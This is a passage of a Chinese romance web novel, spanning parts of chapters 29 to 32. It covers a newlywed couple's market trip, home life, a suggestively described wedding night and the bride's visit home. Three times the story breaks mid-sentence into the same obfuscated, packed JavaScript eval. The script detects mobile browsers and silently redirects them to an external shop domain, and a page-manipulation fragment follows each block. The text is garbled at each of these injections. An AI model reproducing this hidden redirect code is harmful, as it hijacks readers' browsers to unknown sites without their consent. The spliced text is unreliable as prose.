向园一无所知,站在门口往这边看,瞧见原耕耘,还笑了笑。 到底不舍得瞪她,原耕耘走过去握着她的手去牵骡车。 “耕耘哥哥,你怎么了?”向园难得敏锐一次,察觉出他不对劲。 原耕耘低头看她,“你上次不是说要给我看看舌苔?回去咱们就看!” 向园急了,“耕耘哥哥,你哪里不舒服?我们再去找大夫看看!”怕他真病了,说着,就要拉着他回转,两人还在医馆门口呢,看大夫也方便。 她如此紧张,原耕耘顿时消了气,轻笑出声,“我没事,你难道不想找个人验验医术?我给你验!以后你要望闻问切、扎针试药只管朝我来!” 他贴得很近,嘴唇几乎要碰到她的螺髻,头发上有淡淡的香味,像是香茅草的味道。 向园还没想行医呢,比起给人看病,她更喜欢采药,主要是她没什么信心,怕医术不精,把人给治坏了。 原耕耘不再多说,两人往草市桥去。 实则这草市叫河口草市,因处于蓼河与香江的交汇地带,人来人往,逐渐便起了这个草市。 河上有座长长的石桥,有好些个年头了,原来叫长桥,起了草市之后,慢慢的,大家更习惯称呼这桥叫草市桥。 说赶圩也都是到草市桥去,不怎么喊河口草市了。 草市周边这片地都是河口村的地,所以也归河口村管,但跟桥相接连的还有渡头村和白石滩,是以这两处的人赶圩买卖也特别方便。 谷敬跑商进回来的货物主要就供给草市桥这边的几家店铺和几个小摊贩。 绿蒲村与河口村挨着,在河口村东边,离得也不算远,半个时辰就到,绿蒲村的人也爱到这儿赶圩。 原耕耘和向园赶着骡车到时,已经是申时中,有不少小商贩都收拢东西准备回了,这些是生意做得好的,货都卖得差不多了,再耗着也是干熬。 坚守的都是货还多着的人。 两人下车,一个摊子一个摊子看过去。 向园竖起耳朵,睁大眼睛,她要寻摸好东西,要捡漏。 原耕耘就熟门熟路得多,带着向园左拐右拐,拐到一家幽僻的摊子前。 这摊子着实偏僻,正处在两家商户的夹角处,从路上过的人不往里头瞅,压根都不知道这儿还能摆摊。 小摊也很寒酸,摆着的有砚台水丞、纸张书籍、笔墨画作等,但看着都旧旧的。 向园觉得,以附近乡人都喜欢鲜明新亮的眼光来看,这摊子估计少有人光顾。 摊后坐着个书生,眉目耷拉着,半死不活的样子,见有人来,也不吱声,眼珠翻着瞧一眼就又耷下去了,头不抬,肩不耸的。 向园觉得有点吓人,好好的人怎么一副鬼样子呢。 原耕耘倒似司空见惯,问摊主:“玻璃镜有吗?” “有。”摊主声音也丧丧的,不过人总算动了动。 向园看见从他侧面拉出来一张抽屉,这才发现,原来他坐的不是凳子,而是个五斗矮柜。 他也不看,手在抽屉里扒拉扒拉,就扒出一个玻璃镜来,随手一抛,原耕耘接住,又问,“珠子有吗?” 那人总算给了个眼神,“说完。” 原耕耘就给他报,“珠子颈链,珠钗,还有这套文房四宝,” 他眼神扫了扫,在觑见那人身后凌乱堆着的一摞书册时,眼光停留了片刻。 “后头那册子卖吗?” 同摊上其他东西旧旧的不同,这册子倒是很新,最外头一本,封面上还画着一架蔷薇。 就是封面上的字叫那书生挡住了,向园瞧不清楚,只看见一个草字头。 “不卖,那是搭头,买西洋画就白送!” “都要了,再加玻璃镜,给算下!” 摊主总算撩了他一眼,“你有眼光,不多要你,一共二两。” 原耕耘二话没说就掏了钱,扔进摊主脚下的铜钵里。 向园还是头一回见这种,没见货咋样就开价的,还这么贵。 她往那钵里乜了一眼,除了耕耘哥哥刚扔进去的两粒碎银,里头没有别的。 是没开张?还是开张了钱都收起来了? 还有,这就是耕耘哥哥说的捡漏? 向园很想问问,但这场交易过于神秘,她不敢轻易开口。 而且,西洋画到底长什么样儿? 西洋画,西洋画,应该是从海那边飘来的? 向园挺好奇,等着摊主拿出来看。 原耕耘也没见过西洋画,他只知道后头那册子应该就是周二仓一直说要买给他看的避火图。 这书生摊子上东西都是好东西,他觉得从这儿买肯定比从杂货铺或者书铺买得要好。 他也等着看,什么西洋画是要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16246254|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿避火图当搭头的。 什么呢?当然是西洋春.图了,封面都很大胆的那种。 原耕耘在书生转过来之前,遮住了向园的眼。 不只眼,整张脸都叫他大掌遮严实了。 向园:“……” 好神秘啊,更想看了。 书生挑了挑眉,好心搭给他一张布皮装裹,还给他收拾整齐。 果然都是好东西,连装裹都是布庄里卖得死贵的漳绒料子,虽然上头烂了个大窟窿。 原耕耘空着的那手接过,遮住向园面目的右手一直都没放下,直接揽住她,匆匆走了。 走出街道,向园才好奇地问:“耕耘哥哥,这就是捡漏?” 原耕耘:“……对。” 向园勾着头看,“我看看是什么?” 原耕耘捂紧包袱,低声道:“回家看。” “哦。”向园想着财不露白,好东西确实得回家偷偷看。 不过她倒是想起一件事儿来,表哥只拿了二钱银子,就给她买了那么多嫁妆,他肯定贴补自己了。 原耕耘清楚,他下聘的东西,除了当下风俗中时兴留在娘家的茶酒米面、喜饼和代替大雁的一对大鹅外,其他的梅丛殊都又给向园当嫁妆带回来了。 他不知道梅表哥从向园这里拿过钱,现在知道了,也明白肯定是向园不让他张罗,他为了宽她的心,才特意拿这二钱银子。 不然,他给向园置办的那些东西,别说二钱,就是二两银子也难置办下来。 所以,对大舅子哥,原耕耘很感激,也很用心。 他给向园指,“这是回门礼,咱们明个儿去槐树井瞧表哥。” 除了酒,其他的向园都没注意他什么时候买的。 原耕耘继续道:“等表哥结婚,咱们也给他送厚礼。” 向园忙不迭点头,“好,耕耘哥哥,你真好!” 那是她的表哥,耕耘哥哥能像她一样敬他重他就再好不过了。 这一番折腾,时间就不早了。 他们往桥这边来时,人更少了,且没几个闲逛的,都是急匆匆赶路的。 两人就不特意停下,直接回去。 到家向园先坐不住,不是急着看东西,而是急着召唤鸡鸭鹅和三只狗,给他们喂食。 原耕耘家本来是只有鸡的,老母鸡,大鸡娃和小鸡崽儿。向园的嫁妆里有两只鸭和两只鹅,就是梅大舅让阿得给她拉去槐树井,表哥又从槐树井给她拉过来的那几只。 表哥想活物不好两头跑着照顾,直接放到她的嫁妆里,村民们看着也热闹。 早上他们走的时候,喂过一顿,也给它们多拌了一些食儿留着晌午吃,狗食儿也是提前煮好放到狗盆里的,但它们肯定没有那么自觉,估计不到晌午就吃光了。 向园过去看,果然狗盆是空的,大黑二黄三花都期待地看着她。 她回来时它们就围上来了,汪汪叫一通,就乖下来,可能真的饿了。 向园想炖蹄膀得要一个时辰它们才能吃上,得先给它们喂些别的垫垫肚子。 原耕耘一眼识破三只狗的真面目,“不用喂,肚子鼓着呢,等蹄膀熟吧。” 怕它们饿,留的鸡食儿狗食儿都多,鸡鸭鹅都还没叨完呢,这仨先委屈上了。 真是有人惯着就不一样了。 大黑:…… 二黄:呜~ 三花:汪~ 向园:“……” 向园去做饭了,炖蹄膀,他们五个吃。 30. 第 30 章 向园炖的蹄膀很香,才进锅里滚了两刻钟,扑鼻的浓香就冒出来了。 小火吃肉,大火喝汤,这句话是外婆教给向园的。 图吃肉就用小火浸,保留食材本身的味道,吃的时候更有滋味。 图喝汤就得大火滚,把食材的味道都滚进汤里,汤喝着更香浓。 今天吃肉,向园火烧得小,蹄膀要工夫炖,她就先把三只鸡腌上。 这鸡是前天晚上宰杀的,虽是湃井里了,但刚拿蹄膀的时候她闻了一下,要是再不腌上,放到明天只怕要坏。 腌了风干,什么时候想吃都方便。 这活儿向园擅长,就是抹盐,按揉,要是有花椒粉,掺些花椒粉腌制更好吃。 向园看了看,花椒粉有,还不少,装了满满一竹罐。新花椒要不了多久就会下来,向园就没节省,往盐里掺了一把。 肉厚的地方多抹盐,肉薄的地方少抹盐,从里往外抹匀,用稻草绳一捆挂在梁上就行,得找个干燥通风的地方挂。 向园够不着,她想着是搬梯子还是踩桌子叠凳子的时候,原耕耘回来了。 他去还骡车,路上遇见周二仓,耽搁了一会儿。 向园直接递给他,“耕耘哥哥,要挂上去。” 原耕耘也要踩凳子,但是他不踩,也不接,他把向园举起来了。 “挂吧!”他道。 向园手里的鸡差点没掉下去,好在野鸡都不太肥,跟野鸭子不一样,它们爱跑爱跳还爱扑棱,肉质柴瘦,褪了毛也不沉,顶多有两斤。 向园揪紧绳子,稳稳挂在梁上悬下来的木钩子上。 一只钩子挂一只鸡,统共两排十只钩子,有两只上悬了篮子,两只上挂着棍子悬了腊肉,还有三只空着。 向园仰头看,觉得什么时候把这钩子都挂满,日子就美了。月月有肉吃,能不美吗? 原耕耘不知道她想这个,知道的话,也会说,岂止让她月月有肉吃,就算不能天天有肉吃,隔天吃一回还是能做到的。 向园自己倒是想起来了,她从回来到现在,确实没少跟着耕耘哥哥吃肉。 山芝麻叶腊肉包子,炖鱼汤,焖兔肉,春笋炖鸭,蕨菜炒鸭,银鱼粥,昨天吃了鸡丝汤、蹄膀,今天又吃,真是神仙日子啊。 不知道明天能不能去坟上瞧瞧,不然她去告诉外婆,告诉爹娘,他们也能替她高兴。 原耕耘把她往下放放,却没松开手,告诉她米面杂粮都在哪里放,琐碎物件都在哪里搁。 但他不是多细致的人,除了对向园操心比较多外,自己过日子都是马马虎虎的,很多事情一时也想不起来,他让向园自己扒拉。 “你自己扒拉,扒拉出来按你的习惯放着,以后就知道放哪了。” 这就是让她管家里的意思,向园乐滋滋点头,“好啊!” 她可爱张罗这些事情了,把屋里屋外收拾得干净利落,东西分门别类放置,要用的时候随时能找着,不用的时候看着也舒心,缺什么少什么一眼就能知道,能及时添补,省得急用的时候没得用。 两人就抱着在灶台前坐了好一会儿,说了许多话。 大部分时候都是向园在说,原耕耘认真听,偶尔插两句嘴,逗逗她。 他也觉得这样的日子像神仙。 一直到三只狗闻着味儿跑来围观,两人这才回过神来,蹄膀也熟了。 向园用笊篱捞出来,蹄膀是原耕耘先前破好才炖的,三只狗一人捞一份,他们俩一份。 后锅蒸的还有红薯饭,先吃肉,再喝汤,再来一勺饭,三只狗就饱了。 向园和原耕耘他们就不这样吃了,直接汤肉一盆,配上米饭,向园吃了一碗,原耕耘吃了两碗,一点不浪费。 吃完饭,原耕耘烧水,俩人要洗个澡。 天热了,他们刚刚说得起兴,在灶台前坐了一会儿,都热出一身汗,洗洗睡舒服。 他提好水让向园先洗。 向园瞪着他看了好一会儿,进屋去了。 果然,男人和男人还是不一样的,杨姐姐说的那种情况,可能只适用于她和周二仓? 原耕耘不知道她那眼神是什么意思,他随便用冷水冲了冲,就坐在门外,对着月光瞧他买的青册子和周二仓给的黄本子到底有什么不同。 他先看周二仓给的。 看两眼就搁到一边。 很粗糙,很直白,还很丑。 这是多省墨水,都不肯给那男的多画两根头发? 这东西他借鉴下就可以了,绝对不能给向园看。 他拿起向园看见个草字头的册子。 草字头是花字,这册子叫花事了。 封面很简单,淡青色的底纸上是一架荼蘼花墙。 花墙外是一本芭蕉,书生站在芭蕉下。 花墙内是一架秋千,小姐坐在秋千上。 但这画功却不简单。 书生长身玉立,一派君子之风,脸微侧,看向花墙内的眼神分明是窥探。 小姐身侧无人,秋千飞起,她笑着,顾盼神飞,眼角余光却撩向花墙外。 册子里头的书页上有字也有画,既是守礼君子和闺中小姐,自然没有太直白太粗俗的内容。 原耕耘快速翻了一下,最露骨的也就是架子床上撒下来的帐子是皱的,床下两双鞋,一双男鞋,一双女鞋。 生怕人辨认不出这里头是一男一女,蓝鞋像船,红鞋像花生,花生叠在船头上,随时都要滑下来的样子。 他合上册子,觉得这个给向园启蒙用就很好。 至于西洋画,他翻了两下,就同黄本子搁到一起。前头画得挺好,不露骨,只是到后头就有点放恣了,画得不好不说,还不大对,就不用这个误导向园了。 屋里,向园也洗得很快。 她早上已经洗过头发泡过澡,这会儿跳进大盆里随便涮涮就出来了,一溜儿烟跑去翻她的嫁妆箱子,找樊云英之前给她的那个匣子。 向园觉得昨天晚上不大对劲,但又说不上来哪里不对劲,总之耕耘哥哥那样亲她咬她舔她是绝对不对的。 她不要他再那样了,具体要怎样,跟着书上学吧。 她掏出匣子,放在枕侧,喊原耕耘。 原耕耘进门来,就看见一身雾气的向园。她想着这事儿,洗完澡就没套衣裳,裹着巾子去掏东西,掏出来就喊他。 原耕耘不急着看匣子,先把买的珠钗和珠链给她戴上。 这个价格的珠子,品相自然不会很好,但光泽不错,珠子比较圆润。虽说大小不大均匀,但镶在钗上也就瞧不出来了。 钗是一对,嵌珠的银丝很细,细到挺不直,稍微一动,就带着珠子颤巍巍晃动起来,如振翅欲飞的蝴蝶。 原耕耘往向园左右双螺上各带一只,瞧着是不错,把她的娇俏都衬出来了。 珠链上的珠子更小些,如糯米粒一般,串得长长的,不过长度不大合适,绕三圈有些紧,绕两圈就坠到胸口了,这也只能在家里带着给他看了。 他举着镜子给向园看,“很漂亮吧!” 向园对着镜子摸摸珠钗,又揪着项链摩挲,乖乖点头,是很漂亮。 原耕耘把她扯到怀里,贴耳朵讲话,“我说的是你。” 向园耳根烧起来,回头冲他笑,“你也很俊,我喜欢。” 原耕耘知道她说的是脸,大家都看不上小白脸,但小白脸确实招人喜欢,向园也喜欢。 他不由庆幸,幸好现在是春天,冬天刚过去,夏天还没来,他还没晒黑。 原耕耘凑到近处近给向园看,问她,“哪里俊?” 向园说不上来,整体都俊,但俊是一种感觉,耕耘哥哥站在那儿,她就喜欢,至于他长什么样的眉眼,什么样的鼻梁,什么样的嘴唇反倒不重要了。 眼看他又要像昨天那样亲,向园往后躲躲,转移话题,“耕耘哥哥,我们不要那样了。这是娘给我的,我们照着这个学吧。” 原来是娘跟她说的,原耕耘心里有了数,也想瞧瞧里头是什么,他叠着向园的手凑到盒盖上,两人一同打开。 不是书? 向园有些惊讶。 是四个小陶盒,和一沓小竹板。 原耕耘也挺诧异。 小陶盒形状颜色各不相同,一个是粉色的花生形状的,一个是红皮石榴形状的,一个是黄皮葫芦形状的,还有一个莲花瓣形状的。 单看外层的釉,向园觉得很漂亮,很可爱,但是也疑惑,“这个要怎么学?” 原耕耘把那沓竹板翻过来,有画儿的那一面恰巧露了出来。 头一幅就是原耕耘昨天晚上做过的。 向园萎靡不振,耕耘哥哥说懂就真的是懂,她不该怀疑他的。 原耕耘就知道那四个小陶盒里是什么了,他问向园,“还要看吗?” 向园不看了,既然耕耘哥哥懂,她看不看都无所谓,反正他都会的。 原耕耘把竹板又翻回去,合上盖子让向园收好,“这东西只咱俩知道就成,不能让别人看见。” 向园点头,又把东西塞回箱子。她拿着早先放好的荷包,掏红封给原耕耘,“这是娘给的。” 她又把丛殊表哥单给她装起来的两封银子也拿出来,“这是你给的,表哥说让我们过日子用。” 她还有五两私房钱。 向园原先想着,那个给耕耘哥哥看看,但是不给他,存着应急用。 但是今天花了这么多钱,她就于心不忍,拿出自己的钱,也给他。 没想到她还挺大方,一点也不藏私,原耕耘直想笑。 “见面礼是给你的,你留着。聘礼就是把你聘我家来,给我做媳妇儿,本来应该给岳父岳母的,但他们不在,也该你收着。还有你的这个钱,你辛辛苦苦存的,更该自己收着。 “向园,手里有钱才好办事儿,要是哪一天,我不在你跟前儿,钱就是你的底气,你能存多就别存少,能自己握着就不要交给任何人。” 这个任何人,自然也包括他。 原耕耘指着自己放钱的地儿给向园看,“那是咱俩的钱,平时花用就花用那个,你记好账就行,以后我从里头拿钱也跟你说。” 其实比起之前的家底,里头的钱不算多。 给向园预留的置办东西的六两银子,今天花了四两多,再除去买酒水点心和回门礼的钱,还剩下一两二钱。 预留给她看大夫的五两银子,今天只花了三十文的诊费。 这加起来就是六两一钱七分银。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16259448|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向园听出来,这是给她管钱的意思。 她摸原耕耘的耳朵,想看看是不是变软了。 原耕耘由她摸,她摸够了,把钱都放到一起,问原耕耘:“那我们把钱放哪?” 这么多钱呢,十二两加五两再加公婆给的二两四钱,他们快有二十两银子了,这搁在哪儿都算很丰厚的家底。 原耕耘拿匣子里的钱给她凑了个整,又跟她指哪里放钱财严谨。 床底下,向园衣裳穿得不严谨,不好钻,结果还是原耕耘钻进去放好。 他又去洗把手脸,回来跟向园继续最开始的话题。 “咱们看这个。”原耕耘亮出那本花事了。 向园想起别的,“我想看西洋画!” 原耕耘:“……” 怎么还惦记这个? 他转移话题,“聘礼里有两个小匣,你瞧过没有?” 向园没瞧过,她又去翻箱子,“是这个?” 原耕耘点头,“怎么不看?” 向园忘记了,那两天事情多,她记得这头记不得那头,表哥说是给她的,让她放好,她就真的放好,都没打开看过。 向园现在打开,头一盒是首饰,金的银的玉,多而不杂。 她受宠若惊,“这些都给我?” 原耕耘失笑,“都是很多年前的老样式了,你喜欢就戴,不喜欢就搁着,或者你喜欢什么款式,融了重新打也行。” 向园就知道,这些应该都是原伯父给樊姨置办的,嗯,现在应该说是公爹给婆母置办的。 “那我们就还放着吧!”她合上盖子。 “这里头是什么?”向园开第二个盒子。 原耕耘不语,让她自己看。 盒子打开,向园就“哇”了一声,“是金镯子啊!” 原耕耘盖张帕子在她手上,给她套镯子,“对,是金镯子。” 是早就承诺过你的金镯子,是很多年以前就想给你戴上的金镯子,是想你成为我的妻给你掀盖头同床共枕同生共死生生世世永不离分的金镯子。 套完左手套右手,沉甸甸的镯子,一点花纹也没有,光是金灿灿的颜色看着就让人欢喜。 向园很美,笑得美心里也美,“耕耘哥哥,你真好。” 做你的媳妇儿真是太幸福了。 原耕耘想抱着她直接滚,但是不行,床上还有东西,他收了东西,去洗过手,挨到床边来。 向园盖着被子,跟他商量,“我们可不可以不要那样亲?” “怎么了?不舒服?”原耕耘趴在她旁边,一低头就能亲到她的螺髻。 现在上头别着珠钗,他亲起来就不那么方便,他小心翼翼取下来,包进帕子里放到一边。珠链就不用去,不耽误他一会儿亲她。 也没有不舒服,向园只是觉得别扭,“很奇怪……”她唧哝一句,“那样不干净。” 耕耘哥哥可是上.床之前都要洗一遍手的人,亲她的时候竟然还那么真情实意,要么就是死读书完全按照竹板学的,要么就是真的太喜欢她了,一点都不嫌弃她。 向园觉得是前一种的可能性比较大,“那有一沓呢,我们要不看看第二张是什么吧。” 她着实不喜欢第一张的内容。 原耕耘那样对她并不是跟着那些小玩意儿学的,他只是很想她,很想很想,很多时候能克制得住,可是一旦沾染,他就放不下,放下了也要惦记。 他还想那样对她,甚至要更凶一点。 “向园,我喜欢!没有不干净,你很干净,很香很甜很软很烫,我很喜欢!” 她烧起来的时候,他嘴唇碰上去就是热的,但没关系,他也热,两人可以共同奔赴火海。 没料到他真喜欢,向园烦恼了一会儿,妥协道:“那好吧。不过我还是想看西洋画,要不我们先看西洋画吧!” 说不定看完西洋画他就累了,非要那样的话,多拖一天是一天。 原耕耘:“……我不想再洗手了,明天看好不好?明天不只给你看西洋画,还给你看点别的,好看的。” “那好吧。”向园期待起明天,对原耕耘接下来要做的事,也不那么排斥了。 就是…… “能不能把蜡烛吹了?”她弱弱地问。 原耕耘掀开帐子,吹熄蜡烛,埋头继续。 黑暗中和光明里是完全不同的感受,向园觉得自己不再受自己掌控,好像完全归于他了。 身和魂,都在他掌下,被他侵袭,又被他安抚。 他吻遍每一个细小的角落,轻柔的,仔细的,绝不遗漏。 过了很久,原耕耘才重新回到枕侧,轻声耳语,“向园,叫我名字,我想听你叫我名字。” “耕耘哥哥。”向园声音被揉碎。 “不是这个,名字,我的名字,只有名字。”原耕耘像风一样缠绕她,像水一样包裹她,声音荡在她的耳边,像是野兽的呢喃。 “耕耘,” “嗯。”他含住她的唇瓣碾磨。 “原耕耘。” “嗯。”他于黑暗中寻找那颗痣,却故意走错路,换来她失魂呢喃。 “原耕耘?” “原耕耘。” “原耕耘!” 31. 第 31 章 梅丛殊在槐树井等他们。 他就自在得多,就是急也表现不到脸上,跟过去爱嘻嘻哈哈开玩笑的模样迥然不同。 阿得看着都觉得不好。 少爷自初六那日回来,跟掌柜的打了个照面,就没回去过。 不对,回去过一次,回去收拢了好些东西,拿去卖了,给表小姐置办嫁妆。 但他跟掌柜的、掌柜娘子说的是自己做生意要本钱。 “少爷,咱们这样好吗?掌柜的和掌柜娘子回头发现你骗他们,恐怕要生气。” “喊什么少爷?喊狗蛋儿。” 梅丛殊摘下一片桃叶,“生气就生气,我不生他们的气就是好的,他们还想生我的气?” 阿得不敢喊,喊顺口了,让掌柜的和掌柜娘子听见,只怕要厌恶他。 他想想,少爷确实没做错事,但天生不讲情理的人,做了爹娘也不会讲情理,哪会管孩子是对是错,只要不听他们的话,违背他们的意愿,做得再对那也是错的。 不过少爷可能不一样? 十字街街坊邻居都晓得,梅掌柜夫妻俩抠搜又精明,但对自己儿子那是没话说,宠得厉害,毕竟是独根独苗嘛! 阿得不说话了。 梅丛殊更烦,站在门口张望起来。 阿文没一会儿也跑来,“狗蛋儿哥,你说的真的?园姐姐今儿个真会回来?” 梅丛殊摸摸他脑袋,点头,还让阿得给他拿糖吃,“你园园姐的喜糖,她离得远,晚会儿就回来了。” 今天肯定要回来,他提前跟原耕耘交代过,让晚点,赶上村里人正多的时候,让大家知道,妹妹好好的,没有鬼祟,也没有阴私,只是嫁人了而已。 向园当初的那番布置,还是吓到不少人的。 村子里大都信这个,那几天,走夜路串门子的都少。 得趁着这个工夫正名,不然乡里乡亲的,万一在城里瞧见,在路上遇见,吓坏了可就不好了。 原耕耘早跟梅丛殊商量过,是以不着急,比昨天还慢悠。 他不急,向园急。 向园收拾利落,把金镯子褪了,放到匣子里,找地方藏。 原耕耘不理解,“怎么不戴?” 这镯子她金贵着,昨天他按着她的手腕,她都要挣开,怕他把镯子压坏。 怕把镯子按坏是一个原因,向园还怕硌着原耕耘的手。 镯子厚实,没花纹,但她觉得他那样撑着也勒得慌,还摸了摸他的虎口。 “藏起来,我在家才戴。”向园不想戴出去现眼,多金贵的东西啊,当然要好好藏着,自己看,自己美,也省得招贼。 原耕耘像昨晚戴镯子那样,在她腕上搭了一张帕子,又把镯子套上去,套上去后帕子也没抽出来,他揪着帕子一头来回穿了几圈,就把镯子遮得严实,金光露不出来一点,但看见又知道她戴了镯子,帕子边还顺着手背垂下来,就跟她捏着一样,袅娜风流。 右手也是这番操作。 他弄完看看,挺满意,“就这样吧,好看。” 向园摸摸,决定今天要攥着拳头走路,有拳头箍着,镯子就不会滑脱下来。 原耕耘昨天在草市桥租了一辆骡车,今天他们要走着去草市桥,得走两刻钟工夫。 两个人收拾利落上路了。 这回不去里正家牵骡车,他们就不走村里了,免得牵个手还要被大家指指点点。做他们口中的谈资,一次就够了,以后他们要关起门来过日子,不让别人胡乱猜想。 今天回门,他们成亲这日子就算过去了。 向园问原耕耘,“耕耘哥哥,明天要做什么?” “明天去山上看看。”原耕耘给她包了两片雪片糕,现在拿出来给她吃。 从昨晚到现在,她要忙的事太多,都没拆盒子。 这段路僻静无人,走着吃也不尴尬。 向园果然惊喜,看着他,眼里都是星星,第一口还是喂给他,“耕耘哥哥,你也吃。” 原耕耘摇头,“嘴巴又不累了?” 这是说她又喊了四个字,还连着喊了两次。 向园嘴巴不累。 她觉得喊耕耘哥哥顺口,听着多亲呢。 要是当着别人,就喊九哥,这是大平常的叫法,别人听着不见怪。 晚上就喊耕耘,或者原耕耘,他爱听。 白天向园喊不出来名儿,觉得别扭。 这也是挺奇怪的一件事,就像杨可真喊周二仓,喊的就是名儿,二仓、二仓的,她叫的顺口,别人听着也顺口,一看就知道他们是两口子。 但向园觉得她和原耕耘跟他们不大一样,她总觉得只要喊他耕耘哥哥,他就会让着自己、宠着自己,而自己也可以毫无顾忌地依赖他。 她喊九哥,他的眼神会变暗,变危险,会克制地移开视线。 她喊原耕耘,他会变凶,会变得有点陌生。 原耕耘不勉强她改口,她喊他什么他都喜欢,就是她不称呼他,只说你,他也高兴。 她这样分得清楚,某些称呼只用在固定场景,也很好。有时候他也想肆意妄为,看她喊什么,他就知道下一步要怎么做,是要收敛一点还是可以更放肆一点。 原耕耘不肯吃,向园就自己咬一口,咬完慢慢抿着品味,又把雪片糕喂到他嘴边。 这次原耕耘吃了,顺着她的牙印浅浅咬了一口。 他好像,很愿意吃她吃过的东西,昨天的麻杆糖也是。 雪片糕很好吃,向园形容不出来,有点像外婆蒸的桂花米糕,但是口感更黏一点,香味也更特殊更浓郁。米糕就更松软一点,孔洞比较大,没有雪片糕这样细腻。 向园觉得,她回头可以试着换种方法做米糕,说不定能做出像雪片糕一样的米糕,就不用花那么多钱买了。 两片米糕,她吃两口,喂原耕耘一口,等走到大路上才吃完。 到草市桥,两人赶上骡车,往槐树井去。走的城外,穿过渡头村,从沙田村绕一点路,绕到长云山西麓,就到槐树井了。 从这个方向回梅家小院,要经过大槐树和大水井,这个时候恰有许多人在此乘凉,很多帮向园说过话的大叔大婶阿婆阿嫂都在,向园隔老远就跳下车,原耕耘牵着骡子走在她旁边。 他带了两包麦芽糖,向园跟谁说话,他就给谁撒糖。 瞧着亲热的多给点,瞧着生疏的少给点,小孩子一视同仁,一人两颗。 他们拿了糖道过谢就跑,去喊更多小伙伴来。 阿文闻信赶来,“园姐姐!” 他走到近处,眼睛湿润,“你没事儿就太好了。” 尽管狗蛋儿哥一早说过园姐姐没事,可他也要亲眼看见才能放心。 向园摸摸他的头,原耕耘看看,包里还有一大把糖,他连包都给他。 阿文:“……” “是你!”阿文没想到,园姐姐嫁的人就是那个翻墙头,钻窗户,长得像老松树的男人。 “是我!”原耕耘腰板挺得笔直, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16266598|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着就很有劲儿,很可靠。 阿文觉得挺好,这样有担当的汉子比蓝仁哥强些。 他主动替原耕耘牵骡,催他们快点走,还帮他们拦人,“狗蛋儿哥在家等着呢,你们再不回去他就要出来了。” 几人加快步伐。 “表哥!”见到梅丛殊,向园挺高兴。 女子出嫁,三日回门之时总是伤感的,因为由主到客的转变。 向园就不伤感,她没有嫁为人妇的自觉,也没有离开长久生活的家、回来也只是来看一眼的惆怅。 她从这里离开时,就知道可能再也回不来了,她做好了一个人艰难度日的准备,也清楚自己将要在一个陌生的环境里生活。 可真正回去了,她还没有在医庐完全安定下来,就嫁给原耕耘,他们的好冲淡了她对陌生和未知的恐惧,或许生活上还没那么习惯,但心是安定的。 她觉得嫁人是一件挺好的事情。 梅丛殊也很高兴,表妹经这一番也算因祸得福了。 “快进屋!”他招呼两人。 不用太多契阔,向园跟他讲话,讲这两天都做了什么,讲她的耕耘哥哥。 梅丛殊听到两人买了花绳,原耕耘跟妹妹一起重新把钱串一遍时,就知道他们过的不错,原耕耘的确是个会疼人的。 他让她好好过日子。 几人说几句话,村里不少人都过来瞧。 包括当初对向园很好的张婶子、林阿婆等人也来了。 向园过去跟她们说话,不用原耕耘起身,阿得就听梅丛殊的吩咐撒糖。 邱兰根又肯多问一句,“狗蛋儿,园丫头回门,怎的你爹娘都不回来?” 梅丛殊笑道:“我妹夫想着他们要做生意,耽搁一日就是一日的钱,晨起已经去城里看过他们了。这是我妹妹长大的家,虽是遵照父母之意在向家那边出的门子,但他们想回来看看,我爹就特地吩咐我在家侯着。” 比起他爹他娘的势利,他说话就要亲睦很多,邱兰根听着也觉得他和气,连声道:“该这样,该这样。” 听着的人就明白甭管信不信,听了这话就知道人家不愿意留人话柄,即便对当初小院那场景有几分好奇,也不好多问。 人家回门呢,这样的好日子,再上去触霉头,闹出来可不好看。 向园跟张婶子几个说话,“是我爹娘在时定下的亲事,说好的十五岁完婚。那天我婆婆他们过来上坟,瞧见我,想着婚事拖了一年多了,不如尽早完婚,就过去跟我舅舅商量,我舅舅也同意,又觉得我一个人住这儿不方便,就赶早送我回去了。” “那就好!那就好!” “你突然不见,我们可担心呢,怕你出了什么事。” 向园只是笑,“让婶子们挂念了。” 张婶子拉着她问,“你相公对你可好?” 向园点头,“他很好的,我婆婆也好。” 想想,看了原耕耘一眼,又补了一句,“我们从小就认识,打小我婆婆就很照顾我。” 原耕耘也在看她,见张婶子瞧过去,笑着点头致意。 张婶子放心了,“原来是这样,这也是你的福气。” 父母去了,外婆表哥肯照顾,外婆去了,又有丈夫婆婆肯照顾,虽然有坎坷,但是能平安过关,这也是一种运道。 多少女子都绊倒在头一道坎上,一辈子泡在苦水里,能像向园这样否极泰来的,少之又少。 向园笑着点头,“婶子放心,我会惜福的。” 32. 第 32 章 